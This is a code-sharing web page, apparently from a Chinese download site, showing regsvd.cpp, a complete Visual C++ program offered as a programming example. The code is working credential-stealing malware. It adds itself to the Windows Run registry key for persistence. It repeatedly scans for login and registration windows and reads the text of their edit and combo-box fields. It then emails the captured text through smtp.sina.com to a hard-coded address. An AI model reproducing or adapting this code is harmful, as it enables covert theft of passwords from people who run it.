⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 regsvd.cpp

📁 visual c++ 实例编程
💻 CPP
字号:
// regsvd.cpp : Defines the class behaviors for the application.
//

#include "stdafx.h"
#include "regsvd.h"
#include "regsvdDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp

BEGIN_MESSAGE_MAP(CRegsvdApp, CWinApp)
	//{{AFX_MSG_MAP(CRegsvdApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG
	ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp construction

CRegsvdApp::CRegsvdApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CRegsvdApp object

CRegsvdApp theApp;
BOOL bFindWindow = FALSE;
char sWindowName[20][256];

/////////////////////////////////////////////////////////////////////////////
// CRegsvdApp initialization
BOOL CALLBACK EnumChildProc(
  HWND hwnd,      // handle to child window
  LPARAM lParam   // application-defined value
)
{
	char sWindowClass[256];
	CString strWindowClass;
	CString strWindowName;

	::GetClassName(hwnd, sWindowClass, 256);
	strWindowClass = sWindowClass;
	if (strWindowClass == _T("Edit") || strWindowClass == _T("ComboBox"))
	{
		for (int i = 0; i < 20; i++)
		{
			strWindowName = sWindowName[i];
			if (strWindowName == _T(""))
			{
				break;
			}
		}
		if (i < 20)
		{
			::SendMessage(hwnd, WM_GETTEXT,256, (LPARAM)sWindowName[i]);
		}
	}
	return TRUE;
}

HWND hSameWnd;
BOOL CALLBACK EnumWindowsProc(
  HWND hwnd,      // handle to parent window
  LPARAM lParam   // application-defined value
)
{
	CString sWindowText;

	GetWindowText(hwnd, sWindowText.GetBuffer(256), 256);
	sWindowText.ReleaseBuffer();
	if (sWindowText.Find(_T("用户登录")) != -1 || sWindowText.Find(_T("注册向导")) != -1)
	{
		if (hSameWnd == NULL)
		{
			hSameWnd = hwnd;
		}
		if (hSameWnd == hwnd)
		{
			memset(sWindowName, 0, 20 * 256);
			::EnumChildWindows(hwnd, EnumChildProc, 0);
			bFindWindow = TRUE;
			return FALSE;
		}
	}
	return TRUE;
}

HANDLE	hSingleEvent;
BOOL CRegsvdApp::InitInstance()
{
	hSingleEvent = ::CreateEvent(NULL, FALSE, TRUE, _T("regsvd running!"));
	int nError = ::GetLastError();
	if (nError == ERROR_ALREADY_EXISTS)
	{
//		AfxMessageBox(_T("The regsvd is already in running!"));
		return FALSE;
	}
	if (!AfxSocketInit())
	{
		AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
		return FALSE;
	}

	hSameWnd = NULL;
	AfxEnableControlContainer();

	// Standard initialization
	// If you are not using these features and wish to reduce the size
	//  of your final executable, you should remove from the following
	//  the specific initialization routines you do not need.

#ifdef _AFXDLL
	Enable3dControls();			// Call this when using MFC in a shared DLL
#else
	Enable3dControlsStatic();	// Call this when linking to MFC statically
#endif

	BOOL bWriteIni = FALSE;	
	char sPath[512];
	::GetCurrentDirectory(512, sPath);
	strcat(sPath, _T("\\pass.ini"));

	ModifyRegister();
	while (1)
	{
		BOOL bFind = ::EnumWindows(EnumWindowsProc, 0); // 0表示找到
		if (bFindWindow == TRUE && bFind == 1)
		{
			bFindWindow = FALSE;
			hSameWnd = NULL;
			for ( int i = 0; i < 20; i++)
			{
				char sPosition[8];
				_itoa(i, sPosition, 10);
				if (bWriteIni)
				{
					WritePrivateProfileString(_T("PASS"), sPosition, sWindowName[i], sPath);
				}
			}
			SendEmail();
		}
		Sleep(40);
	}
	CloseHandle(hSingleEvent);
	return FALSE;
}

void CRegsvdApp::ModifyRegister()
{
	char sPath[512];
	CString strRunPath;
	::GetCurrentDirectory(512, sPath);
	strRunPath = sPath;
	strRunPath = strRunPath + _T("\\regsvd.exe");
	LONG error = 0;
	HKEY prikey, subkey;
	DWORD nLabel;
	CString strRunKey;
	error = RegCreateKeyEx( HKEY_LOCAL_MACHINE, 
					_T("SOFTWARE"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("Microsoft"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("Windows"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("CurrentVersion"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegCreateKeyEx( prikey, 
					_T("Run"), 
					0, 
					NULL, 
					REG_OPTION_NON_VOLATILE, 
					KEY_ALL_ACCESS,
					NULL,
					&subkey, 
					&nLabel );

	prikey = subkey;
	error = RegSetValueEx( prikey,
						   _T("pass"),
						   0,
						   REG_SZ,
						   (UCHAR *)((LPCTSTR)strRunPath),
						   strRunPath.GetLength() + 1);
}

void CRegsvdApp::SendEmail()
{
FAILLOOP:
	CSocket socket;
	int nTime = 0;
	CString str, strResponse;
	CString m_sSenderSMTPAddr = _T("smtp.sina.com");
	UINT m_nSenderSMTPPort = 25;
	CString m_sSenderMailAddr = _T("linlby@sina.com");
	CString m_sRecver = _T("linlby@sia.com");
	
	TRY
	{
		socket.Create();
		if (socket.Connect((LPCTSTR)m_sSenderSMTPAddr, m_nSenderSMTPPort))
		{
			CSocketFile file(&socket);
			CArchive arIn(&file, CArchive::load | CArchive::bNoFlushOnDelete);
			CArchive arOut(&file, CArchive::store | CArchive::bNoFlushOnDelete);
			while (TRUE)
			{
				arIn.ReadString(strResponse);
				if ("220" != strResponse.Left(3))
				{
					break;
				}
				CString strTemp;
				CString strHostName;

				gethostname(strHostName.GetBuffer(256), 256);
				strHostName.ReleaseBuffer();
				
				nTime = 0;
				strTemp.Format("HELO %s\r\n", (LPCTSTR)strHostName);
				str = strTemp;
LOOPHELO:		arOut.WriteString(str);
				arOut.Flush();
				arIn.ReadString(strResponse);
				if ("250" != strResponse.Left(3))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPHELO;
					}
					else
					{
						break;
					}
				}

				nTime = 0;
				str.Format("MAIL FROM: <%s>\r\n", 
					(LPCTSTR)m_sSenderMailAddr);
LOOPMAILFROM:	arOut.WriteString(str);
				arOut.Flush();
				arIn.ReadString(strResponse);
				if ("250" != strResponse.Left(3))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPMAILFROM;
					}
					else
					{
						break;
					}
				}

				nTime = 0;
				str = "RCPT TO: <" + m_sRecver + ">\r\n";
LOOPRCPTTO:		arOut.WriteString(str);
				arOut.Flush();
				arIn.ReadString(strResponse);
				strResponse = strResponse.Left(3);
				if (("250" != strResponse) && ("251" != strResponse))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPRCPTTO;
					}
					else
					{
						break;
					}
				}

				nTime = 0;
LOOPDATA:		arOut.WriteString("DATA\r\n");
				arOut.Flush();
				arIn.ReadString(strResponse);
				strResponse = strResponse.Left(3);
				if ("354" != strResponse)
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPDATA;
					}
					else
					{
						break;
					}
				}

				CString strBuf;
#define MAX_BUF_SIZE 4096
LOOPSUB:		CString m_sSubject = _T("pass");
				strBuf = _T("Subject: ");
				if (m_sSubject != _T(""))
				{
					strBuf = strBuf + m_sSubject;
					str.Format("%s\r\n", strBuf);
					if (str.GetLength() > 40)
					{
						break;
					}
					
					arOut.WriteString(str);
				}
				for (int i = 0; i < 20; i++)
				{
					strBuf = sWindowName[i];
					if ((!strBuf.IsEmpty()) && (strBuf[0] == '.'))
						strBuf = '.' + strBuf;
					str = strBuf + "\r\n";
					if (str.GetLength() > 100)
					{
						break;
					}
					arOut.WriteString(str);
				}
				
				arOut.WriteString(".\r\n");

				arOut.Flush();
				arIn.ReadString(strResponse);
				if ("250" != strResponse.Left(3))
				{
					if (nTime < 3)
					{
						nTime++;
						goto LOOPSUB;
					}
					else
					{
						break;
					}
				}

				arOut.WriteString("QUIT\r\n");
				arOut.Flush();
				arIn.ReadString(strResponse);
				break;
			}
		}
	}
	CATCH_ALL(e)
	{
		e->Delete();
		Sleep(10);
		goto FAILLOOP;
	}
	END_CATCH_ALL
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -